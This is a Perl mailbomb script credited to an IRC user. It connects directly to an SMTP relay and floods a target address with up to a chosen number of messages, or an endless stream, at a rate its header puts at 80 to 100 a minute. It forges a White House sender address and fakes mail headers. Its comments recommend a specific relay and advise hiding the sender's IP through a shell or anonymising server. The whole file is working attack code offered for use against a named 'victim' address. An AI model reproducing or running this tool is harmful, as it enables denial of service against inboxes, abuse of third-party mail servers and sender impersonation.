# -----------------------------------------------------=
# Made by CyNiC from irc.xchat.nl                      =
# This stuff sends 80-90 e-mails a minute.             =
# If you have a faster smtp server, maybe 100 a minute.=
# smtp.cablewanadoo.nl works good so you can use that. =
# 1 thing, It does NOT hide your IP so use a shell or  =
# a smtp that hides your IP address                    =
# -----------------------------------------------------=
# Greets go out to V0hun, who "supported" me with pics =
# of his chick Melissa. and Syndr0me                   =
# Of course I greet the rest of the peepz from xchat.nl=
# -----------------------------------------------------=
# [for dutch people: Ikmagjouniet.nl variant gemaakt   =
# door V0hun :) werkt perfect hehe                     =
#  http://www.v0hun.f2s.com/meel.php?action=view ]     =
# -----------------------------------------------------=
# Mailbombing is lame so at least TRY not to use it
# (enter -1 as loop argument for infinte loops  hehe)
# THIS WORKS ON WINDOWS (sorry :)



use IO::Socket;

if ($#ARGV<2)
{
print"
xx     xx  XXXX XX  XX    XXX  XXXXXX
xx   xx  XX    XX  XX   XX XX   XX
  xx xx  XX     XX  XX  XX   XX  XX
   xx    XX     XXxxXX  XX___XX  XX
  xx xx  XX     XX  XX XX     XX XX
xx   xx  XX    XX  XX XX     XX XX
xx     xx  XXXX XX  XX XX     XX XX
   IRC.XCHAT.NL
        MailBomb project by CyNiC.\n";
print "usage:$0 <mailhost> <target> <times>\n";
print " expl:$0 smtp.cablewanadoo.nl victim\@victim.nl 100000\n";
exit 0;
}
$cloop = $ARGV[2];

for (;;)
{
$loop = $ARGV[2]-- ;
   if ($loop==0)
     {
      die "\nDone $cloop mails, quitting...\n";
     }
print "$loop/";
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV[0]" }
print $connect "helo wanadoo.nl\n";
print $connect "mail from: George.W.Bush\@whitehouse.gov\n";
print $connect "rcpt to: $ARGV[1]\n";
print $connect "data\n";
$msg = &msg;
print $connect "$msg\n";
print $connect "quit\n";
close ($connect);
}

sub msg {
$a = "Visit irc.xchat.nl";  # this is the message, you can always edit this
(@alfa) = split(/,/,$a);                                                     
# in the message you want.
$messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 
13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 
Oct 97 11:30:27\nSubject: Try to save 
yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n";
$messa
}